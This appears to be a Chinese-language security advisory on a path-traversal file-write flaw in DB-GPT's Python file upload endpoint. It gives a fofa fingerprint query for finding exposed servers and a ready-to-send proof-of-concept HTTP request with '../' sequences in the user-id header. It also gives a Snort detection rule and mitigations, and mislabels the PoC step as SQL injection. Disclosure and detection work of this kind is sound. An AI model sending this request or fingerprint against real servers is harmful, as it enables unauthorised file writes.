DB-GPT upload存在跨路径文件写入漏洞¶
DB-GPT upload存在跨路径文件写入漏洞
影响版本¶
DB-GPT 0.8.1 及之前所有版本
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
fofa: icon_hash="100632689"
POC/EXP:
step1 sql注入
POST /api/v1/python/file/upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
user-id: ../../../../../../../../../../tmp
Content-Type: multipart/form-data; boundary=----Boundary1752894263714
------Boundary1752894263714
Content-Disposition: form-data; name="file"; filename="33223.py"
Content-Type: text/x-python
print("33223")
------Boundary1752894263714--
sonrt规则:
alert tcp any any -> $HOME_NET any (
msg:"DB-GPT - /api/v1/python/file/upload 跨路径文件写入漏洞 (Path Traversal)";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/api/v1/python/file/upload"; fast_pattern;
http.header; content:"user-id:"; nocase;
http.header; pcre:"/user-id:\s*[^\r\n]*\.\./i";
http.content_type; content:"multipart/form-data";
http.request_body; content:"filename=\""; nocase;
http.request_body; content:".py\""; distance:0; nocase;
metadata:
service http,
affected_product "DB-GPT",
vulnerability_type "Path Traversal File Write",
severity "high";
classtype:web-application-attack;
sid:1000759;
rev:1;
priority:2;
)
漏洞修复¶
- 立即升级:官方建议立即升级到已修复该漏洞的DB-GPT版本(0.8.1之后)。
-
临时缓解:若无法立即升级,可采取以下措施:
-
网络隔离:通过防火墙或反向代理限制对
/api/v1/python/file/upload 端点的访问,仅允许可信IP。 - 监控告警:监控该端点的请求日志,重点关注包含
../ 或绝对路径的user_id 头。